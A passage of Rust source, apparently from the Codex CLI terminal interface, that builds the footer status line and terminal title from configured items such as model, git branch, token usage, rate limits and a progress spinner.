let (status_line_items, invalid_status_line_items) = self.status_line_items_with_invalids();
|
||||
let (terminal_title_items, invalid_terminal_title_items) =
|
||||
self.terminal_title_items_with_invalids();
|
||||
StatusSurfaceSelections {
|
||||
status_line_items,
|
||||
invalid_status_line_items,
|
||||
terminal_title_items,
|
||||
invalid_terminal_title_items,
|
||||
}
|
||||
}
|
||||
|
||||
fn warn_invalid_status_line_items_once(&mut self, invalid_items: &[String]) {
|
||||
if self.thread_id.is_some()
|
||||
&& !invalid_items.is_empty()
|
||||
&& self
|
||||
.status_line_invalid_items_warned
|
||||
.compare_exchange(false, true, Ordering::Relaxed, Ordering::Relaxed)
|
||||
.is_ok()
|
||||
{
|
||||
let label = if invalid_items.len() == 1 {
|
||||
"item"
|
||||
} else {
|
||||
"items"
|
||||
};
|
||||
let message = format!(
|
||||
"Ignored invalid status line {label}: {}.",
|
||||
proper_join(invalid_items)
|
||||
);
|
||||
self.on_warning(message);
|
||||
}
|
||||
}
|
||||
|
||||
fn warn_invalid_terminal_title_items_once(&mut self, invalid_items: &[String]) {
|
||||
if self.thread_id.is_some()
|
||||
&& !invalid_items.is_empty()
|
||||
&& self
|
||||
.terminal_title_invalid_items_warned
|
||||
.compare_exchange(false, true, Ordering::Relaxed, Ordering::Relaxed)
|
||||
.is_ok()
|
||||
{
|
||||
let label = if invalid_items.len() == 1 {
|
||||
"item"
|
||||
} else {
|
||||
"items"
|
||||
};
|
||||
let message = format!(
|
||||
"Ignored invalid terminal title {label}: {}.",
|
||||
proper_join(invalid_items)
|
||||
);
|
||||
self.on_warning(message);
|
||||
}
|
||||
}
|
||||
|
||||
fn sync_status_surface_shared_state(&mut self, selections: &StatusSurfaceSelections) {
|
||||
if !selections.uses_git_branch() {
|
||||
self.status_line_branch = None;
|
||||
self.status_line_branch_pending = false;
|
||||
self.status_line_branch_lookup_complete = false;
|
||||
return;
|
||||
}
|
||||
|
||||
let cwd = self.status_line_cwd().to_path_buf();
|
||||
self.sync_status_line_branch_state(&cwd);
|
||||
if !self.status_line_branch_lookup_complete {
|
||||
self.request_status_line_branch(cwd);
|
||||
}
|
||||
}
|
||||
|
||||
fn refresh_status_line_from_selections(&mut self, selections: &StatusSurfaceSelections) {
|
||||
let enabled = !selections.status_line_items.is_empty();
|
||||
self.bottom_pane.set_status_line_enabled(enabled);
|
||||
if !enabled {
|
||||
self.set_status_line(/*status_line*/ None);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut parts = Vec::new();
|
||||
for item in &selections.status_line_items {
|
||||
if let Some(value) = self.status_line_value_for_item(item) {
|
||||
parts.push(value);
|
||||
}
|
||||
}
|
||||
|
||||
let line = if parts.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(Line::from(parts.join(" · ")))
|
||||
};
|
||||
self.set_status_line(line);
|
||||
}
|
||||
|
||||
/// Clears the terminal title Codex most recently wrote, if any.
|
||||
///
|
||||
/// This does not attempt to restore the shell or terminal's previous title;
|
||||
/// it only clears the managed title and updates the cache after a successful
|
||||
/// OSC write.
|
||||
pub(crate) fn clear_managed_terminal_title(&mut self) -> std::io::Result<()> {
|
||||
if self.last_terminal_title.is_some() {
|
||||
clear_terminal_title()?;
|
||||
self.last_terminal_title = None;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Renders and applies the terminal title for one parsed selection snapshot.
|
||||
///
|
||||
/// Empty selections clear the managed title. Non-empty selections render the
|
||||
/// current values in configured order, skip unavailable segments, and cache
|
||||
/// the last successfully written title so redundant OSC writes are avoided.
|
||||
/// When the `spinner` item is present in an animated running state, this also
|
||||
/// schedules the next frame so the spinner keeps advancing.
|
||||
fn refresh_terminal_title_from_selections(&mut self, selections: &StatusSurfaceSelections) {
|
||||
if selections.terminal_title_items.is_empty() {
|
||||
if let Err(err) = self.clear_managed_terminal_title() {
|
||||
tracing::debug!(error = %err, "failed to clear terminal title");
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
let now = Instant::now();
|
||||
let mut previous = None;
|
||||
let title = selections
|
||||
.terminal_title_items
|
||||
.iter()
|
||||
.copied()
|
||||
.filter_map(|item| {
|
||||
self.terminal_title_value_for_item(item, now)
|
||||
.map(|value| (item, value))
|
||||
})
|
||||
.fold(String::new(), |mut title, (item, value)| {
|
||||
title.push_str(item.separator_from_previous(previous));
|
||||
title.push_str(&value);
|
||||
previous = Some(item);
|
||||
title
|
||||
});
|
||||
let title = (!title.is_empty()).then_some(title);
|
||||
let should_animate_spinner =
|
||||
self.should_animate_terminal_title_spinner_with_selections(selections);
|
||||
if self.last_terminal_title == title {
|
||||
if should_animate_spinner {
|
||||
self.frame_requester
|
||||
.schedule_frame_in(TERMINAL_TITLE_SPINNER_INTERVAL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
match title {
|
||||
Some(title) => match set_terminal_title(&title) {
|
||||
Ok(SetTerminalTitleResult::Applied) => {
|
||||
self.last_terminal_title = Some(title);
|
||||
}
|
||||
Ok(SetTerminalTitleResult::NoVisibleContent) => {
|
||||
if let Err(err) = self.clear_managed_terminal_title() {
|
||||
tracing::debug!(error = %err, "failed to clear terminal title");
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
tracing::debug!(error = %err, "failed to set terminal title");
|
||||
}
|
||||
},
|
||||
None => {
|
||||
if let Err(err) = self.clear_managed_terminal_title() {
|
||||
tracing::debug!(error = %err, "failed to clear terminal title");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if should_animate_spinner {
|
||||
self.frame_requester
|
||||
.schedule_frame_in(TERMINAL_TITLE_SPINNER_INTERVAL);
|
||||
}
|
||||
}
|
||||
|
||||
/// Recomputes both status surfaces from one shared config snapshot.
|
||||
///
|
||||
/// This is the common refresh entrypoint for the footer status line and the
|
||||
/// terminal title. It parses both configurations once, emits invalid-item
|
||||
/// warnings once, synchronizes shared cached state (such as git-branch
|
||||
/// lookup), then renders each surface from that shared snapshot.
|
||||
pub(crate) fn refresh_status_surfaces(&mut self) {
|
||||
let selections = self.status_surface_selections();
|
||||
self.warn_invalid_status_line_items_once(&selections.invalid_status_line_items);
|
||||
self.warn_invalid_terminal_title_items_once(&selections.invalid_terminal_title_items);
|
||||
self.sync_status_surface_shared_state(&selections);
|
||||
self.refresh_status_line_from_selections(&selections);
|
||||
self.refresh_terminal_title_from_selections(&selections);
|
||||
}
|
||||
|
||||
/// Recomputes and emits the terminal title from config and runtime state.
|
||||
pub(crate) fn refresh_terminal_title(&mut self) {
|
||||
let selections = self.status_surface_selections();
|
||||
self.warn_invalid_terminal_title_items_once(&selections.invalid_terminal_title_items);
|
||||
self.sync_status_surface_shared_state(&selections);
|
||||
self.refresh_terminal_title_from_selections(&selections);
|
||||
}
|
||||
|
||||
pub(super) fn request_status_line_branch_refresh(&mut self) {
|
||||
let selections = self.status_surface_selections();
|
||||
if !selections.uses_git_branch() {
|
||||
return;
|
||||
}
|
||||
let cwd = self.status_line_cwd().to_path_buf();
|
||||
self.sync_status_line_branch_state(&cwd);
|
||||
self.request_status_line_branch(cwd);
|
||||
}
|
||||
|
||||
/// Parses configured status-line ids into known items and collects unknown ids.
|
||||
///
|
||||
/// Unknown ids are deduplicated in insertion order for warning messages.
|
||||
fn status_line_items_with_invalids(&self) -> (Vec<StatusLineItem>, Vec<String>) {
|
||||
let mut invalid = Vec::new();
|
||||
let mut invalid_seen = HashSet::new();
|
||||
let mut items = Vec::new();
|
||||
for id in self.configured_status_line_items() {
|
||||
match id.parse::<StatusLineItem>() {
|
||||
Ok(item) => items.push(item),
|
||||
Err(_) => {
|
||||
if invalid_seen.insert(id.clone()) {
|
||||
invalid.push(format!(r#""{id}""#));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
(items, invalid)
|
||||
}
|
||||
|
||||
pub(super) fn configured_status_line_items(&self) -> Vec<String> {
|
||||
self.config.tui_status_line.clone().unwrap_or_else(|| {
|
||||
DEFAULT_STATUS_LINE_ITEMS
|
||||
.iter()
|
||||
.map(ToString::to_string)
|
||||
.collect()
|
||||
})
|
||||
}
|
||||
|
||||
/// Parses configured terminal-title ids into known items and collects unknown ids.
|
||||
///
|
||||
/// Unknown ids are deduplicated in insertion order for warning messages.
|
||||
fn terminal_title_items_with_invalids(&self) -> (Vec<TerminalTitleItem>, Vec<String>) {
|
||||
let mut invalid = Vec::new();
|
||||
let mut invalid_seen = HashSet::new();
|
||||
let mut items = Vec::new();
|
||||
for id in self.configured_terminal_title_items() {
|
||||
match id.parse::<TerminalTitleItem>() {
|
||||
Ok(item) => items.push(item),
|
||||
Err(_) => {
|
||||
if invalid_seen.insert(id.clone()) {
|
||||
invalid.push(format!(r#""{id}""#));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
(items, invalid)
|
||||
}
|
||||
|
||||
/// Returns the configured terminal-title ids, or the default ordering when unset.
|
||||
pub(super) fn configured_terminal_title_items(&self) -> Vec<String> {
|
||||
self.config.tui_terminal_title.clone().unwrap_or_else(|| {
|
||||
DEFAULT_TERMINAL_TITLE_ITEMS
|
||||
.iter()
|
||||
.map(ToString::to_string)
|
||||
.collect()
|
||||
})
|
||||
}
|
||||
|
||||
fn status_line_cwd(&self) -> &Path {
|
||||
self.current_cwd
|
||||
.as_deref()
|
||||
.unwrap_or(self.config.cwd.as_path())
|
||||
}
|
||||
|
||||
/// Resolves the project root associated with `cwd`.
|
||||
///
|
||||
/// Git repository root wins when available. Otherwise we fall back to the
|
||||
/// nearest project config layer so non-git projects can still surface a
|
||||
/// stable project label.
|
||||
fn status_line_project_root_for_cwd(&self, cwd: &Path) -> Option<PathBuf> {
|
||||
if let Some(repo_root) = get_git_repo_root(cwd) {
|
||||
return Some(repo_root);
|
||||
}
|
||||
|
||||
self.config
|
||||
.config_layer_stack
|
||||
.get_layers(
|
||||
ConfigLayerStackOrdering::LowestPrecedenceFirst,
|
||||
/*include_disabled*/ true,
|
||||
)
|
||||
.iter()
|
||||
.find_map(|layer| match &layer.name {
|
||||
ConfigLayerSource::Project { dot_codex_folder } => {
|
||||
dot_codex_folder.as_path().parent().map(Path::to_path_buf)
|
||||
}
|
||||
_ => None,
|
||||
})
|
||||
}
|
||||
|
||||
fn status_line_project_root_name_for_cwd(&self, cwd: &Path) -> Option<String> {
|
||||
self.status_line_project_root_for_cwd(cwd).map(|root| {
|
||||
root.file_name()
|
||||
.map(|name| name.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| format_directory_display(&root, /*max_width*/ None))
|
||||
})
|
||||
}
|
||||
|
||||
/// Returns a cached project-root display name for the active cwd.
|
||||
fn status_line_project_root_name(&mut self) -> Option<String> {
|
||||
let cwd = self.status_line_cwd().to_path_buf();
|
||||
if let Some(cache) = &self.status_line_project_root_name_cache
|
||||
&& cache.cwd == cwd
|
||||
{
|
||||
return cache.root_name.clone();
|
||||
}
|
||||
|
||||
let root_name = self.status_line_project_root_name_for_cwd(&cwd);
|
||||
self.status_line_project_root_name_cache = Some(CachedProjectRootName {
|
||||
cwd,
|
||||
root_name: root_name.clone(),
|
||||
});
|
||||
root_name
|
||||
}
|
||||
|
||||
/// Produces the terminal-title `project` value.
|
||||
///
|
||||
/// This prefers the cached project-root name and falls back to the current
|
||||
/// directory name when no project root can be inferred.
|
||||
fn terminal_title_project_name(&mut self) -> Option<String> {
|
||||
let project = self.status_line_project_root_name().or_else(|| {
|
||||
let cwd = self.status_line_cwd();
|
||||
Some(
|
||||
cwd.file_name()
|
||||
.map(|name| name.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| format_directory_display(cwd, /*max_width*/ None)),
|
||||
)
|
||||
})?;
|
||||
Some(Self::truncate_terminal_title_part(
|
||||
project, /*max_chars*/ 24,
|
||||
))
|
||||
}
|
||||
|
||||
/// Resets git-branch cache state when the status-line cwd changes.
|
||||
///
|
||||
/// The branch cache is keyed by cwd because branch lookup is performed relative to that path.
|
||||
/// Keeping stale branch values across cwd changes would surface incorrect repository context.
|
||||
fn sync_status_line_branch_state(&mut self, cwd: &Path) {
|
||||
if self
|
||||
.status_line_branch_cwd
|
||||
.as_ref()
|
||||
.is_some_and(|path| path == cwd)
|
||||
{
|
||||
return;
|
||||
}
|
||||
self.status_line_branch_cwd = Some(cwd.to_path_buf());
|
||||
self.status_line_branch = None;
|
||||
self.status_line_branch_pending = false;
|
||||
self.status_line_branch_lookup_complete = false;
|
||||
}
|
||||
|
||||
/// Starts an async git-branch lookup unless one is already running.
|
||||
///
|
||||
/// The resulting `StatusLineBranchUpdated` event carries the lookup cwd so callers can reject
|
||||
/// stale completions after directory changes.
|
||||
fn request_status_line_branch(&mut self, cwd: PathBuf) {
|
||||
if self.status_line_branch_pending {
|
||||
return;
|
||||
}
|
||||
self.status_line_branch_pending = true;
|
||||
let tx = self.app_event_tx.clone();
|
||||
tokio::spawn(async move {
|
||||
let branch = current_branch_name(&cwd).await;
|
||||
tx.send(AppEvent::StatusLineBranchUpdated { cwd, branch });
|
||||
});
|
||||
}
|
||||
|
||||
/// Resolves a display string for one configured status-line item.
|
||||
///
|
||||
/// Returning `None` means "omit this item for now", not "configuration error". Callers rely on
|
||||
/// this to keep partially available status lines readable while waiting for session, token, or
|
||||
/// git metadata.
|
||||
pub(super) fn status_line_value_for_item(&mut self, item: &StatusLineItem) -> Option<String> {
|
||||
match item {
|
||||
StatusLineItem::ModelName => Some(self.model_display_name().to_string()),
|
||||
StatusLineItem::ModelWithReasoning => {
|
||||
let label =
|
||||
Self::status_line_reasoning_effort_label(self.effective_reasoning_effort());
|
||||
let fast_label = if self
|
||||
.should_show_fast_status(self.current_model(), self.config.service_tier)
|
||||
{
|
||||
" fast"
|
||||
} else {
|
||||
""
|
||||
};
|
||||
Some(format!("{} {label}{fast_label}", self.model_display_name()))
|
||||
}
|
||||
StatusLineItem::CurrentDir => {
|
||||
Some(format_directory_display(
|
||||
self.status_line_cwd(),
|
||||
/*max_width*/ None,
|
||||
))
|
||||
}
|
||||
StatusLineItem::ProjectRoot => self.status_line_project_root_name(),
|
||||
StatusLineItem::GitBranch => self.status_line_branch.clone(),
|
||||
StatusLineItem::UsedTokens => {
|
||||
let usage = self.status_line_total_usage();
|
||||
let total = usage.tokens_in_context_window();
|
||||
if total <= 0 {
|
||||
None
|
||||
} else {
|
||||
Some(format!("{} used", format_tokens_compact(total)))
|
||||
}
|
||||
}
|
||||
StatusLineItem::ContextRemaining => self
|
||||
.status_line_context_remaining_percent()
|
||||
.map(|remaining| format!("{remaining}% left")),
|
||||
StatusLineItem::ContextUsed => self
|
||||
.status_line_context_used_percent()
|
||||
.map(|used| format!("{used}% used")),
|
||||
StatusLineItem::FiveHourLimit => {
|
||||
let window = self
|
||||
.rate_limit_snapshots_by_limit_id
|
||||
.get("codex")
|
||||
.and_then(|s| s.primary.as_ref());
|
||||
let label = window
|
||||
.and_then(|window| window.window_minutes)
|
||||
.map(get_limits_duration)
|
||||
.unwrap_or_else(|| "5h".to_string());
|
||||
self.status_line_limit_display(window, &label)
|
||||
}
|
||||
StatusLineItem::WeeklyLimit => {
|
||||
let window = self
|
||||
.rate_limit_snapshots_by_limit_id
|
||||
.get("codex")
|
||||
.and_then(|s| s.secondary.as_ref());
|
||||
let label = window
|
||||
.and_then(|window| window.window_minutes)
|
||||
.map(get_limits_duration)
|
||||
.unwrap_or_else(|| "weekly".to_string());
|
||||
self.status_line_limit_display(window, &label)
|
||||
}
|
||||
StatusLineItem::CodexVersion => Some(CODEX_CLI_VERSION.to_string()),
|
||||
StatusLineItem::ContextWindowSize => self
|
||||
.status_line_context_window_size()
|
||||
.map(|cws| format!("{} window", format_tokens_compact(cws))),
|
||||
StatusLineItem::TotalInputTokens => Some(format!(
|
||||
"{} in",
|
||||
format_tokens_compact(self.status_line_total_usage().input_tokens)
|
||||
)),
|
||||
StatusLineItem::TotalOutputTokens => Some(format!(
|
||||
"{} out",
|
||||
format_tokens_compact(self.status_line_total_usage().output_tokens)
|
||||
)),
|
||||
StatusLineItem::SessionId => self.thread_id.map(|id| id.to_string()),
|
||||
StatusLineItem::FastMode => Some(
|
||||
if matches!(self.config.service_tier, Some(ServiceTier::Fast)) {
|
||||
"Fast on".to_string()
|
||||
} else {
|
||||
"Fast off".to_string()
|
||||
},
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolves one configured terminal-title item into a displayable segment.
|
||||
///
|
||||
/// Returning `None` means "omit this segment for now" so callers can keep
|
||||
/// the configured order while hiding values that are not yet available.
|
||||
fn terminal_title_value_for_item(
|
||||
&mut self,
|
||||
item: TerminalTitleItem,
|
||||
now: Instant,
|
||||
) -> Option<String> {
|
||||
match item {
|
||||
TerminalTitleItem::AppName => Some("codex".to_string()),
|
||||
TerminalTitleItem::Project => self.terminal_title_project_name(),
|
||||
TerminalTitleItem::Spinner => self.terminal_title_spinner_text_at(now),
|
||||
TerminalTitleItem::Status => Some(self.terminal_title_status_text()),
|
||||
TerminalTitleItem::Thread => self.thread_name.as_ref().and_then(|name| {
|
||||
let trimmed = name.trim();
|
||||
if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(Self::truncate_terminal_title_part(
|
||||
trimmed.to_string(),
|
||||
/*max_chars*/ 48,
|
||||
))
|
||||
}
|
||||
}),
|
||||
TerminalTitleItem::GitBranch => self.status_line_branch.as_ref().map(|branch| {
|
||||
Self::truncate_terminal_title_part(branch.clone(), /*max_chars*/ 32)
|
||||
}),
|
||||
TerminalTitleItem::Model => Some(Self::truncate_terminal_title_part(
|
||||
self.model_display_name().to_string(),
|
||||
/*max_chars*/ 32,
|
||||
)),
|
||||
TerminalTitleItem::TaskProgress => self.terminal_title_task_progress(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Computes the compact runtime status label used by the terminal title.
|
||||
///
|
||||
/// Startup takes precedence over normal task states, and idle state renders
|
||||
/// as `Ready` regardless of the last active status bucket.
|
||||
pub(super) fn terminal_title_status_text(&self) -> String {
|
||||
if self.mcp_startup_status.is_some() {
|
||||
return "Starting".to_string();
|
||||
}
|
||||
|
||||
match self.terminal_title_status_kind {
|
||||
TerminalTitleStatusKind::Working if !self.bottom_pane.is_task_running() => {
|
||||
"Ready".to_string()
|
||||
}
|
||||
TerminalTitleStatusKind::WaitingForBackgroundTerminal
|
||||
if !self.bottom_pane.is_task_running() =>
|
||||
{
|
||||
"Ready".to_string()
|
||||
}
|
||||
TerminalTitleStatusKind::Thinking if !self.bottom_pane.is_task_running() => {
|
||||
"Ready".to_string()
|
||||
}
|
||||
TerminalTitleStatusKind::Working => "Working".to_string(),
|
||||
TerminalTitleStatusKind::WaitingForBackgroundTerminal => "Waiting".to_string(),
|
||||
TerminalTitleStatusKind::Undoing => "Undoing".to_string(),
|
||||
TerminalTitleStatusKind::Thinking => "Thinking".to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn terminal_title_spinner_text_at(&self, now: Instant) -> Option<String> {
|
||||
if !self.config.animations {
|
||||
return None;
|
||||
}
|
||||
|
||||
if !self.terminal_title_has_active_progress() {
|
||||
return None;
|
||||
}
|
||||
|
||||
Some(self.terminal_title_spinner_frame_at(now).to_string())
|
||||
}
|
||||
|
||||
fn terminal_title_spinner_frame_at(&self, now: Instant) -> &'static str {
|
||||
let elapsed = now.saturating_duration_since(self.terminal_title_animation_origin);
|
||||
let frame_index =
|
||||
(elapsed.as_millis() / TERMINAL_TITLE_SPINNER_INTERVAL.as_millis()) as usize;
|
||||
TERMINAL_TITLE_SPINNER_FRAMES[frame_index % TERMINAL_TITLE_SPINNER_FRAMES.len()]
|
||||
}
|
||||
|
||||
fn terminal_title_uses_spinner(&self) -> bool {
|
||||
self.config
|
||||
.tui_terminal_title
|
||||
.as_ref()
|
||||
.is_none_or(|items| items.iter().any(|item| item == "spinner"))
|
||||
}
|
||||
|
||||
fn terminal_title_has_active_progress(&self) -> bool {
|
||||
self.mcp_startup_status.is_some()
|
||||
|| self.bottom_pane.is_task_running()
|
||||
|| self.terminal_title_status_kind == TerminalTitleStatusKind::Undoing
|
||||
}
|
||||
|
||||
pub(super) fn should_animate_terminal_title_spinner(&self) -> bool {
|
||||
self.config.animations
|
||||
&& self.terminal_title_uses_spinner()
|
||||
&& self.terminal_title_has_active_progress()
|
||||
}
|
||||
|
||||
fn should_animate_terminal_title_spinner_with_selections(
|
||||
&self,
|
||||
selections: &StatusSurfaceSelections,
|
||||
) -> bool {
|
||||
self.config.animations
|
||||
&& selections
|
||||
.terminal_title_items
|
||||
.contains(&TerminalTitleItem::Spinner)
|
||||
&& self.terminal_title_has_active_progress()
|
||||
}
|
||||
|
||||
/// Formats the last `update_plan` progress snapshot for terminal-title display.
|
||||
pub(super) fn terminal_title_task_progress(&self) -> Option<String> {
|
||||
let (completed, total) = self.last_plan_progress?;
|
||||
if total == 0 {
|
||||
return None;
|
||||
}
|
||||
Some(format!("Tasks {completed}/{total}"))
|
||||
}
|
||||
|
||||
/// Truncates a title segment by grapheme cluster and appends `...` when needed.
|
||||
pub(super) fn truncate_terminal_title_part(value: String, max_chars: usize) -> String {
|
||||
if max_chars == 0 {
|
||||
return String::new();
|
||||
}
|
||||
|
||||
let mut graphemes = value.graphemes(true);
|
||||
let head: String = graphemes.by_ref().take(max_chars).collect();
|
||||
if graphemes.next().is_none() || max_chars <= 3 {
|
||||
return head;
|
||||
}
|
||||
|
||||
let mut truncated = head.graphemes(true).take(max_chars - 3).collect::<String>();
|
||||
truncated.push_str("...");
|
||||
truncated
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user